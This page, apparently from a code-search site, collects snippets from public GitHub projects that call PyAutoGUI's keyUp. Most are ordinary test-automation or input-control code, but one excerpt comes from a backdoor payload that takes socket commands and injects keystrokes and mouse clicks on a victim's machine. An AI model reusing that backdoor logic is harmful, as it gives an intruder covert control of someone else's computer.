How to use the pyautogui.keyUp function in PyAutoGUI

To help you get started, we’ve selected a few PyAutoGUI examples, based on popular ways it is used in public projects.

Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.

github eclipse / sumo / tests / netedit / neteditTestFunctions.py View on Github external
    @brief create connection
    """
    # check if connection has to be created in certain mode
    if mode == "conflict":
        pyautogui.keyDown('ctrl')
    elif mode == "yield":
        pyautogui.keyDown('shift')
    # select first lane
    leftClick(referencePosition, fromLanePositionX, fromLanePositionY)
    # select another lane for create a connection
    leftClick(referencePosition, toLanePositionX, toLanePositionY)
    # check if connection has to be created in certain mode
    if mode == "conflict":
        pyautogui.keyUp('ctrl')
    elif mode == "yield":
        pyautogui.keyUp('shift')
github angus-y / PyIris-backdoor / payloads / lin_injection_payload.py View on Github external
elif injection_type == 'pr':
            if not arg:
                s.sendall('[-]Supply a key as an arg'+End)
                return
            pyautogui.press(arg)
            s.sendall('[+]Injected pressed key' + End)
        elif injection_type == 'sh':
            if not arg:
                s.sendall('[-]Supply a key as an arg'+End)
                return
            if ' ' in arg:
                arg = arg.split(' ')
                for key in arg:
                    pyautogui.keyDown(key)
                for key in reversed(arg):
                    pyautogui.keyUp(key)
                s.sendall('[+]Injected keyboard shortcut' + End)
            else:
                pyautogui.hotkey(arg)
                s.sendall('[+]Injected keyboard shortcut' + End)
        elif injection_type == 'valids':
            tar_list = '|/'.join(valid_keys)
            s.sendall(tar_list + End)
        elif injection_type == 'click_left':
            pyautogui.click(button='left')
            s.sendall('[+]Injected left mouse click' + End)
        elif injection_type == 'click_right':
            pyautogui.click(button='right')
            s.sendall('[+]Injected right mouse click' + End)
        elif injection_type == 'move_to':
            if not arg:
                s.sendall('[-]Supply a key as an arg'+End)
github Wesly-Yu / AutoZone / robotframework / get_webcase_stepdata.py View on Github external
def  run_in_terminal(upperlevel_id):
    robotcasename = "test00" + str(upperlevel_id) + ".txt"
    k = PyKeyboard()
    sub = os.popen("where python")
    pathone = sub.read()
    regx = re.split('python.exe',pathone)
    runpath = '"' + regx[0] + 'Scripts\pybot.bat' + '"' + ' -d results  '+ robotcasename
    pyautogui.keyDown('alt')
    pyautogui.press('f12')
    pyautogui.keyUp('alt')
    time.sleep(3)
    switch_langrage()
    k.type_string('cd robotframework')
    time.sleep(1)
    pyautogui.press('enter')
    time.sleep(1)
    k.type_string(runpath)
    time.sleep(1)
    pyautogui.press('enter')
github deverlabs / grappe / worker-v2 / worker.py View on Github external
if ':' in char:
                if int(Pos)==int(char[:1]):
                    if all(c in 'xX' + string.hexdigits for c in char[2:]):
                        print("Hexa code: ", char[2:], "Converted: ",keyCodes[int(char[2:], 0)] )
                        pyautogui.keyDown(keyCodes[int(char[2:], 0)])
                    else:
                        self.mouseAction(char[2:])
            if all(c in 'xX' + string.hexdigits for c in char):
                print(keyCodes[int(char, 0)])
                pyautogui.keyDown(keyCodes[int(char, 0)])

        for char in reversed(suit):
            if ':' in char:
                if int(Pos)==int(char[:1]):
                    if all(c in 'xX' + string.hexdigits for c in char):
                        pyautogui.keyUp(keyCodes[int(char, 0)])
            if all(c in 'xX' + string.hexdigits for c in char):
                pyautogui.keyUp(keyCodes[int(char, 0)])
github mozilla / iris_firefox / iris / api / core.py View on Github external
def type(text=None, modifier=None, interval=None):
    logger.debug('type method: ')
    if modifier is None:
        if isinstance(text, _IrisKey):
            logger.debug('Scenario 1: reserved key')
            logger.debug('Reserved key: %s' % text)
            pyautogui.keyDown(str(text))
            pyautogui.keyUp(str(text))
            time.sleep(DEFAULT_KEY_SHORTCUT_DELAY)
        else:
            if interval is None:
                interval = Settings.TypeDelay

            logger.debug('Scenario 2: normal key or text block')
            logger.debug('Text: %s' % text)
            pyautogui.typewrite(text, interval)
    else:
        logger.debug('Scenario 3: combination of modifiers and other keys')
        modifier_keys = KeyModifier.get_active_modifiers(modifier)
        num_keys = len(modifier_keys)
        logger.debug('Modifiers (%s): %s ' % (num_keys, ' '.join(modifier_keys)))
        logger.debug('text: %s' % text)
        if num_keys == 1:
            pyautogui.keyDown(modifier_keys[0])
github nicolomantini / LinkedIn-Easy-Apply-Bot / easyapplybot.py View on Github external
def avoid_lock(self):
		x, _ = pyautogui.position()
		pyautogui.moveTo(x + 200, pyautogui.position().y, duration=1.0)
		pyautogui.moveTo(x, pyautogui.position().y, duration=0.5)
		pyautogui.keyDown('ctrl')
		pyautogui.press('esc')
		pyautogui.keyUp('ctrl')
		time.sleep(0.5)
		pyautogui.press('esc')
github EvilPort2 / final-year-project / modules / gesture_recognition / gesture_api.py View on Github external
def do_gesture_action(gesture1, gesture2 = None):
    print("gesture1", gesture1)
    print("gesture2", gesture2)
    if gesture2 == None:
        if gesture1 in GESTURES_ONE_HAND.keys():
            keys = list(GESTURES_ONE_HAND[gesture1])
            last_key = keys.pop()
            if len(keys) >= 1:
                for key in keys:
                    gui.keyDown(key)
            gui.press(last_key)
            if len(keys) >= 1:
                keys.reverse()
                for key in keys:
                    gui.keyUp(key)
    else:
        if (gesture1, gesture2) in GESTURES_TWO_HAND.keys():
            thread.start_new_thread(GESTURES_TWO_HAND[(gesture1, gesture2)], ())
github SerpentAI / SerpentAI / serpent / input_controllers / pyautogui_input_controller.py View on Github external
def release_key(self, key, **kwargs):
        if ("force" in kwargs and kwargs["force"] is True) or self.game_is_focused:
            pyautogui.keyUp(keyboard_key_mapping[key.name])
github TREE-Ind / desktop-control / __init__.py View on Github external
def handle_select_combination_intent(self, message):
        self.speak("Selecting all")
        pyautogui.hotkey("ctrl", "a")
        time.sleep(1)
        if message.data.get("PasteKeyword"):
            self.handle_paste_intent(message)
        elif message.data.get("CopyKeyword"):
            self.handle_copy_intent(message)
        elif message.data.get("CutKeyword"):
            self.handle_cut_intent(message)
        elif message.data.get("DeleteKeyword"):
            self.speak("deleting")
            pyautogui.keyDown("delete")
            pyautogui.keyUp("delete")
        else:
            pass
github mozilla / iris_firefox / iris / api / core / key.py View on Github external
def type(text=None, modifier=None, interval=None):
    """
    :param str || list text: If a string, then the characters to be pressed. If a list, then the key names of the keys
                             to press in order.
    :param modifier: Key modifier.
    :param interval: The number of seconds in between each press. By default it is 0 seconds.
    :return: None.
    """
    logger.debug('type method: ')
    if modifier is None:
        if isinstance(text, _IrisKey):
            logger.debug('Scenario 1: reserved key.')
            logger.debug('Reserved key: %s' % text)
            pyautogui.keyDown(str(text))
            pyautogui.keyUp(str(text))
            time.sleep(DEFAULT_KEY_SHORTCUT_DELAY)
        else:
            if interval is None:
                interval = Settings.type_delay

            logger.debug('Scenario 2: normal key or text block.')
            logger.debug('Text: %s' % text)
            pyautogui.typewrite(text, interval)
    else:
        logger.debug('Scenario 3: combination of modifiers and other keys.')
        modifier_keys = KeyModifier.get_active_modifiers(modifier)
        num_keys = len(modifier_keys)
        logger.debug('Modifiers (%s): %s ' % (num_keys, ' '.join(modifier_keys)))
        logger.debug('text: %s' % text)
        if num_keys == 1:
            pyautogui.keyDown(modifier_keys[0])